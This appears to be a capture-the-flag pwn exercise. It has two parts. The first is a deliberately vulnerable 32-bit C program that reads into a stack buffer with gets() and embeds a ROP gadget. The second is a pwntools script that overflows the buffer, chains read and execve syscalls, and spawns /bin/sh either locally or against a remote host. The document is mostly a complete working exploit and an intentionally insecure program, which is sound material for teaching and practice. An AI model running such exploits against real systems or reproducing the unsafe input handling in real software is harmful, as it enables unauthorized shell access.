1
// gcc p3.c -o p3 -m32 -static -fno-stack-protector -g
2

3
#include <stdio.h>
4
#include <stdlib.h>
5
#include <unistd.h>
6
// 内嵌pop ecx; ret gadget
7
__attribute__((used))
8
void pop_ecx_ret() {
9
    __asm__("pop %ecx; ret");
10
}
11
char name[0x100];
12
int main()
13
{
14
    setvbuf(stdin, 0, 2, 0);
15
    setvbuf(stdout, 0, 2, 0);
16
    setvbuf(stderr, 0, 2, 0);
17
    puts("could you tell me your name?");
18
    read(0, name, 0x100);
19
    char buf[200];
20
    printf("i heard you love gets,right?\n");
21
    gets(buf);
22
    return 0;
23
}

1
from pwn import *
2
import LibcSearcher
3
import sys
4

5
#Init Space
6
file = './pwn'
7
#libc = ELF("./libc.so")
8
gdb_plugin = '/home/mindedness/pwn'
9

10
#=====================================================
11
elf = ELF(file)
12

13
context.binary = elf
14
context.os = 'linux'
15
IsGDB = ''
16

17
if 'remote' in sys.argv or 'REMOTE' in sys.argv:
18
    print('<Host Port> or <nc Host Port>')
19
    Remote_Setting = input().split()
20
    if 'nc' in Remote_Setting:
21
        Remote_Setting.remove('nc')
22
    for _ in range(0,len(Remote_Setting)):
23
        item = Remote_Setting[0]
24
        Remote_Setting.remove(item)
25
        if ':' in item:
26
            Remote_Setting.extend(item.split(':'))
27
        else:
28
            Remote_Setting.append(item)
29
    if ':' in Remote_Setting:
30
        Remote_Setting.remove(':')
31
    while '' in Remote_Setting:
32
        Remote_Setting.remove('')
33
    host, port = Remote_Setting
34
    port = int(port)
35
    io = remote(host, port)
36
    GDB = lambda: 1 == 1
37
else:
38
    io = process(file)
39
    print("Debug Mode? Y/N (yes/no)")
40
    IsDebug = input().lower()
41
    print("Start GDB? Y/N (yes/no)")
42
    IsGDB = input().lower()
43
    if IsDebug == 'yes' or IsDebug == 'y':
44
        context.log_level = 'debug'
45

46
    if IsGDB == 'yes' or IsGDB == 'y':
47
        context.terminal = ['tmux', 'split-window', '-v', '-t', '0']
48
        tty_0 = subprocess.check_output([
49
            'tmux', 'display-message', '-p', '#{pane_tty}'
50
        ]).decode().strip()
51
        tty_1, pane_id_1 = subprocess.check_output([
52
            'tmux', 'split-window', '-h', '-P', '-F', '#{pane_tty} #{pane_id}', 'cat -'
53
        ]).decode().strip().split()
54

55
        gdb_script = f"""
56
        set context-output {tty_1}
57
        define hook-quit
58
            shell tmux kill-pane -t {pane_id_1}
59
        end
60

61
        rename_import ./.rename
62
        """
63

64
        print(gdb_script)
65
        GDB = lambda: gdb.attach(io, gdb_script)
66
    else:
67
        io = process(file)
68
        GDB = lambda: 1 == 1
69

70

71
if elf.arch == 'i386':
72
    B = 4
73
    unpk = lambda unpack : u32(unpack.ljust(B,b'\x00'))
74
    dopk = lambda dopack : p32(dopack)
75
elif elf.arch == 'amd64':
76
    B = 8
77
    unpk = lambda unpack : u64(unpack.ljust(B,b'\x00'))
78
    dopk = lambda dopack : p64(dopack)
79
else:
80
    B = int(input("Input Address Byte: "))
81

82
success(f"Arch = {elf.arch} || B = {B}")
83

84
# 函数绑定
85
int_to_byte = lambda numbers=0 : str(numbers).encode('utf-8')
86
find = lambda gadget : next(elf.search(gadget))
87

88
sla = lambda rcv, snd: io.sendlineafter(rcv, snd)
89
sl  = lambda snd: io.sendline(snd)
90
sa  = lambda rcv, snd: io.sendafter(rcv, snd)
91
rcv = lambda num, t=Timeout.default: io.recv(num, t)
92
rcu = lambda stop, drop=False, t=Timeout.default: io.recvuntil(stop, drop, t)
93
SHELL = lambda: io.interactive()
94
#=====================================================
95

96

97

98
name = 0x80EF320
99
buf = 0x80EF300
100

101
payload = flat([
102
    #name+4,
103
    find( asm("pop eax; ret") ),
104
    0x03, #read syscall number
105
    find( asm("pop ebx; ret") ),
106
    0,
107
    find( asm("pop ecx; ret") ),
108
    buf,
109
    find( asm("pop edx; ret") ),
110
    8,
111
    find( asm("int 0x80; ret") ),
112
    # read(0,buf,8);
113

114
    find( asm("pop eax; ret") ),
115
    0x0b, #execve syscall number
116
    find( asm("pop ebx; ret") ),
117
    buf,
118
    find( asm("pop ecx; ret") ),
119
    0,
120
    find( asm("pop edx; ret") ),
121
    0,
122
    find( asm("int 0x80; ret") )
123
    # execve(buf,0,0);
124
])
125
context.log_level= "Debug"
126
rcu(b"name?")
127
sl(payload)
128

129

130
padding = 0xC8
131
payload = flat([
132
    b"A"*padding,
133
    name+4
134
])
135
GDB()
136
rcu(b"right?")
137
sl( payload )
138

139
sl(b"/bin/sh\x00")
140

141
SHELL()